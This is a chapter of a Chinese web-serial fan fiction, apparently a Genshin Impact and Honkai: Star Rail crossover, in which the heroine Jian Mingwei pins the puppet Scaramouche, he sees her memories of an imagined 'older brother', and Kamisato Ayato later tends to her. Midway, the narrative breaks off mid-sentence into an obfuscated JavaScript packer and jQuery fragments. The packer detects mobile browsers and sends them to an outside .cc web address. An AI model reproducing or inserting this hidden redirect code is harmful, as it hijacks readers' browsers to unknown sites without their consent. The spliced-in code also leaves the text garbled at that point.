今遇酒 作品

16.谁才是她唤的人?

柔软的,像一场梦境。


散兵不解,她明明那么强硬,窒息后呼吸都没喘匀、第一反应是扑过来将他按倒扣押在地上的人,手指却柔软无比。


她的眼球充血视觉受损,只能靠对人体的判断和摸索找到他的手,刚才还掐在她脖颈上的手——


天生对情绪敏感,人偶能察觉出她的愤怒,但她没有拧断它,而是拽着那只手抚上了他的心口。


——她在骂他,连带博士一起骂,她哑着声音:“你好好想想、摸摸你的心!”


心?他的心?


她跪抵禁锢着他的身体,散兵试图反抗,却有震耳欲聋的声音响起,砰、砰,急促的节奏,仿佛将要跳出胸膛。


但,但……


如同伸掌接住一片羽毛,柔软、温暖的金光漾开,耳边心跳愈发清晰——那是她的心。


意识逐渐迷蒙,在金光中坠向暗不见底的虚空,他好像陷入了谁人的梦里,又或者说,谁人的过去。


“……哥哥。”


是她的声音,但微弱到无法传达,他从中听不出任何属于活人的气息,比起呼唤,更像灵魂在飘荡迷失中的呓语。


朦胧又混乱,周围一片黑,反复尝试后,散兵最终得出结论,现在他唯一能感知到的,似乎是她的状态和情绪。


——那个不知姓名、可能是巴尔泽布又一失败造物的“人”。


甚至比刚才喉咙被扼的濒死状态更糟,这里的她后倒砸在地上,随着温热的液体不断流逝,体温渐凉渐低。


……真狼狈啊,散兵嗤笑,原来她也有这种时候,连心跳都没有,完全是个等待报废的人偶。


可有更深更复杂的情绪翻涌传来,是即使闭眼也无法放下的执念,她想喊却喊不出口——


“哥哥……”


什么哥哥,哪有哥哥?散兵只觉她在做梦——


比他还不如,竟能脆弱到如此地步?面对死亡的最后念头不是复仇,却在幻想有其他人……等等?!


面颊淌过湿凉的触感,散兵下意识摸脸,指尖的干燥提醒他——那不是他在哭,而是有人在她脸上落泪。


是谁……?巴尔泽布?她也会为她的造物垂目落泪吗?


不,不,她的情绪挣扎起来,这次,散兵听见了,她执念想说的是,“哥哥别哭”。


哪有哥哥,什么哥哥?


来不及寻探更多,她的精神已经无法支撑这段回忆了,感知中的一切都在扭曲消融,唯有黑暗永远粘稠跗骨。


滴、答,滴、答,冷漠的钟声,像只潜伏露出尖齿的巨兽,在静默的夜中响得可怖。


散兵看见她蜷缩着闭紧双眼,仿佛这样能带来更多安全感,心中的念头浮起又被按下,除去讨厌的陌生,最强烈的是……


——睡过去,睡过去就好了,只要睡过去……做一场梦!


做一场梦,梦里来个人,这样,无论倾听还是述说,她都不用去想那数不完的钟声了!


——睡过去,然后,她在自己的梦境中睁眼,看着出现在自己梦境中的人,神情优雅冷静,早有预料般淡定。


散兵看不见她想象之人的样子,但他能感受其他东西——


那是在心里摁住又翘起来的尾巴,带着小小的得意,仿佛在说,“看,我就知道,我想做的事情,一定能成真!”


出现在梦里的人,她像是找到了玩伴,繁忙时的所见,偶尔的吐槽,都可以在做梦时和他分享!


从消遣到熟悉再到一点点依赖,加速跳跃的片段中,散兵发现——


似乎是压力转移,虽然她的心态和能力成长飞快,但幻想症也跟着越发严重了!


已经不满足于梦中对话,甚至,那人逐渐参与进她白日的生活,而她会一边想着“千万别被发现”,一边期待着明天。


所有记忆再次扭曲模糊起来,但黑暗不再,她的心像阳光下的泡泡,轻盈的、缤纷的,自由飘往想去的地方。


与她的感知切断,自己的五感逐渐恢复,远远地,散兵看见她笑吟吟回眸,咬字轻轻的,但语调微扬,很理直气壮——


“哥哥,喊哥哥怎么啦,我想,如果我有个哥哥,那他应该就是你这样的!而且……”


这段诡异的经历像要结束了,耳边变得嘈杂起来,剧烈的摇晃中,散兵听见另一道声音——


“天!我都摇半天了,他怎么还不醒?!究竟看见什么了?我的那些记忆不会暴露吧?想想就丢人啊啊啊!”


梦境中的内容则在渐远地消失——


“真算的话,我们三个中属你最大,即使不认,你在年龄上也是哥哥呀,难道是害怕两个妹妹……”


越来越多的信息与现实对上了,一时间,散兵还真不知道自己该不该睁眼,他在心里尝试最后挣扎——


不,万一巴尔泽布还做了其他人偶,他其实不是最大和唯一流泪的那个……


好像有些自欺欺人,打造神明的复制体谈何容易,几百年间,影进行了无数次实验,做出来的人偶也就他和雷电将军……


哦,现在可能还要加上他今晚遇见的她——这么算来,他是第一个失败品,那她就是第二个残次品,两个脆弱的……


不,明明脆弱的只有她!


呵,连心脏都不完整,还逆来顺受地做雷电影的走狗,竟然要靠幻想的哥哥分摊压力,甚至死时想的都是……


可笑!即便如此,他也不会承认这种妹妹的——


并不是针对谁啊,毕竟,就算被巴尔泽布认为最完美的人偶将军,他也平等地一并看不起!


*


简明微是真的很急!


样本数量太少,她无法通过所见散兵的过往,判断出自己呈现给他的会是什么记忆,悲伤、恐惧、安宁、欢欣、亦或其他?


摇晃不起作用,往他胳膊上抽了一巴掌(经系统认证不含过分私仇成分),少年冷白的皮肤迅速泛红,但散兵还不醒!


【嘶,散兵是影用坎瑞亚技术制作的人偶啊,】小统龙无法确定,【也不知道同谐下降头的力量对他生不生效……】


简明微:……完蛋,天塌了!


“不行,我感觉我得抢救一下——”


按住少年的四肢防止反抗,她瞄准预备发力,“脑震荡的话,就什么都想不起来了吧!”


还在思考偶生的散兵:……?!


“你——”


但他睁眼时已经迟了,放大的瞳孔中,只见一片阴影气势汹汹袭来,然后“砰”的两声巨响中——


简明微的额头猛地撞上人偶的额头,刚挣扎着抬起一点脖颈的散兵遭此一击,后脑勺哐地又砸回地面。


【明微,明微!你怎么这么傻,旁边不都是大石头吗?干嘛用自己的脑袋撞他?!】


简明微:“我,我有点晕……”


她本想说,怕一石头砸下去会死人的,但现在才发现,自己可能低估了影制作和博士改造过的人偶硬度……


颅脑剧烈震荡,头晕且恶心,简明微甚至觉得眼前出现了拉手跳舞的金星——


不,好像不是幻觉,她真看见星星了!


——像一场繁华旖旎的美梦,她在记忆里的匹诺康尼里仰头,流星拖着绚丽的尾焰划过夜空,而……


而云雾倒悬的暗金城市下,有个人站在她身旁,尘世的灯火璀璨如歌,她看向星星,他则在看她看星星。


“明微……”


就像低声的轻唤一样,星期日不是个擅长表达情绪的人,当然,在这点上,简明微也不认为自己擅长。


她知道自己的笨拙,但既然说要喜欢他,简明微便努力去铭记和回应星期日——


记住他靠近时下意识放轻的呼吸,记住他长睫在她颈侧扫过的弧度,指尖相触勾缠,她察觉他掌心隐隐的细汗。


——所以,所以,拥抱吧!


忘却所有,彼此相拥,她展臂环抱他,他也将她纳入怀中,只需一个拥抱,透过心跳的温度,便能拾起勇气再次启程。


……建造一个自由平等的美梦乐园,他的理想宏大到有些空,简明微不知道星期日这条路需要走多久。


而她只是个玩家,即使穿进游戏里,也没多大的愿望,仅想做点自己能做的事情,尝试改变些许遗憾罢了。


但就像倒霉惯了的非酋,她似乎与成功二字不太挂钩——


角色至今一个没收集到,那走剧情干预愚人众邪眼计划呢?


一次就遇见散兵了!甚至,提醒他真相都失败、反而自己差点被掐死。


“哈,怎么,撞傻了?连话都不会说了……巴尔泽布制造你的材料这么劣质?”


四肢被她死死压住,散兵却没急着反抗,只是难改嘲弄地上下打量她,在心里梳理今晚发生的事——


他本觉得她的举动奇怪至极,但看完她那段将弱点暴露无疑的记忆后,却好像一切都能解释连起来了。


——稻妻好歹是影的地盘,她奉命来踏鞴砂办事再正常不过,至于看见他后,突然站出来说的话……


呵,他当然知道,博士并非良善之辈,不过想利用他完成一些事情,只是,他也刚好看不惯雷电影罢了。


让稻妻混乱起来,夺走她的神之心,再到造就新神……哈哈,无趣凡尘中难得的乐子,多么令人期待!


——可她再三重复的、即使哑声也在强调的内容,关于“他、博士、过去”和“一颗心”的事情……


无论记忆里幻想的哥哥,还是现实中的所有作为,多重证据摆在面前,散兵当然能判断出她对他并无恶意。


那……博士究竟做了什么,能让她在冒死提醒无果后,笃定或气愤到连带他一起骂?


脑中确实还在晕,简明微没具体听清散兵说了什么,但那个“傻”字,她还是听见了的!


“你才傻!”


不太清醒,又被今晚层出的波折弄烦了,简明微一把薅住他的嘴巴,“重点信息全漏,废话倒挺多。”


散兵:……


哈,虽然长相差别不小,但这狗脾气,倒和他真有点像了啊。


“哩晃手——!”


嘴被捏住,三字就一个对的,她膝盖正压着他的腿,想挣扎却只有衣服被蹭得更乱,少年人偶气愤至极,连眼尾拖出的绯红都更显瑰丽。


“哦,知道了。”


简明微放手但没放过他,眼看他


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15289157|165714||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


张嘴口型不对,立刻作势要伸手强控——


“小嘴巴,闭起来!”


显然,不按她说的做,她就要亲自动手了。


几百年就没受过这种委屈的散兵:……


呵,一点当妹的自觉都没有,他哪天能答应做她哥就怪了!


世界终于消停了,简明微也放弃了说服散兵反水博士的想法,嗯,她改威胁他当前的事情了——


“前面的话我也不想再重复了,你自己回去好好反思,现在你就记住——别插手有关邪眼工厂的东西!”


散兵:“你怎么知道我要……”


“你别管,”隐隐听见额外的脚步声传来,简明微警惕眯眼,“我能透露的就是,神之心不在将军那里。”


“长官我来支——我敲我什么都没看见!”


好不容易创造石阶翻越障碍,结果发现愚人众中脾气最臭的执行官被人按住压在身下,积极过头的岩使游击兵恨不得时光倒流立刻爬回去!


偏偏巨石堆对面,丝毫没有眼色的水胖和冰胖还在催促发问——


“哎,那边什么情况?——还有,你别光顾着自己,把石阶变宽点,让我们兄弟也过去啊!”


在思考说“自己是智障记忆只有三秒”,能不能救自己一命的岩使游击兵:……


场面一度僵持,散兵却敏锐察觉到了其余异常——


脚步声的数量不对,按照地面震动方向,来的应该是……


“常道恢宏,鸣神永恒!奉大御所大人命,刀锋所指,即为雷霆所至——”


“哼。”


没等支援的幕府军到来,散兵骤然发力,指间傀儡丝释放,突袭扯起简明微的同时滑步而起。


“浪费时间——你叫什么名字?”


天领奉行的废物不足为惧,但他这位“妹妹”可是个大麻烦,不传下去让愚人众那群白痴记住点,还不知要折多少人头。


“啊?”


简明微一愣,不过很快反应过来,“我没有名字。”


——笑死,她连真实模样都藏得好好的,说名字出来当靶子树敌吗?


——哼,不给残次品命名,那个女人的作风倒没变过。


瞥了眼不远处山坡攒簇而来的人头,散兵随手朝简明微抛了个东西,旋即真身化作雷光遁向海崖。


唯有轻嗤的余音在空气中震颤:“呵,收好了,否则下次见面时……”


眼看他捡起纱幔斗笠,然后把右边用红绳系连的黑金铃铛扯下来、接着把东西抛给自己的简明微:?


——原来不是故意伤害罪的补偿,而是新的威胁啊?!


“简小姐!”


借声势吓退其他愚人众先遣队员,托马带着伪装成幕府军的终末番忍者赶来,“你没事吧?”


身上的丰饶赐福发挥作用,脊椎喉咙的伤和额头红肿已经消失,简明微摇了摇头——


“没……不对,有事!”


终于有空想起被自己掷出去的星链,简明微转身扑向不远处的石碓——


“就我一直带着的发饰,蓝金色四芒星垂坠羽毛的那条,它好像被埋进石头堆了,能帮我找找吗?”


这不是项小工程,但好在散兵遁走前引雷炸碎了大部分巨石,再加上终末番的帮助,简明微最终找到了那条发链。


仔细检查后确认星星和羽毛都没问题,简明微提着的气总算舒缓不少。


小统龙也舒了口气:【幸好星期日不在提瓦特,不然,按照他和这片羽毛共感的联系,这疼痛值高低得是个粉碎性骨折啊!】


因疏引社奉行所有成员撤退,神里绫人赶来的时间晚了点,但也目睹了简明微从紧绷到放松的全过程。


……她似乎很重视,或者说很喜欢那条发饰,惬意的时候、犹豫的时候,都会不自觉绕玩触碰它。


听着托马汇报,特别是说到愚人众第六执行官散兵出现过时,他终究没忍住蹙了下眉——


“手。”


“嗯?啊?”


从停驻的目光判断出神里绫人是在对自己说话,简明微一脸懵地抬头,“手什么?”


“伸手。”


她似乎累或困极了,就连听邪眼工厂内行动情报时,都会不由自主点头打瞌睡,神里绫人便暂时按下了追问发饰之事的想法。


“……哦。”


不解但已经没精力思考了,简明微乖顺地依言伸手,她倒要看看神里绫人干什……


嗯?!


清透的水元素流转凝聚,而后轻柔攀上她沾着灰尘的指尖,微蓝水流细致地完成清理。


“——别往衣服上蹭了,不干净。”


到底觉得话语有些生硬,家主大人别扭补充一句。


“睡吧,剩下的事情交给社奉行,之后两天你好好休息。”


“哦。”


握着那条星羽发饰,简明微秒低头继续打瞌睡,倒是小统龙持续兴奋。


【明微,前面升级攒的力量再加上今晚行动,我发现了一些新东西,嗯,应该和时空传送有关!】


【待我再研究研究,说不定就能找到传送去其他国家,或者联系上崩铁那边的方式了呢!】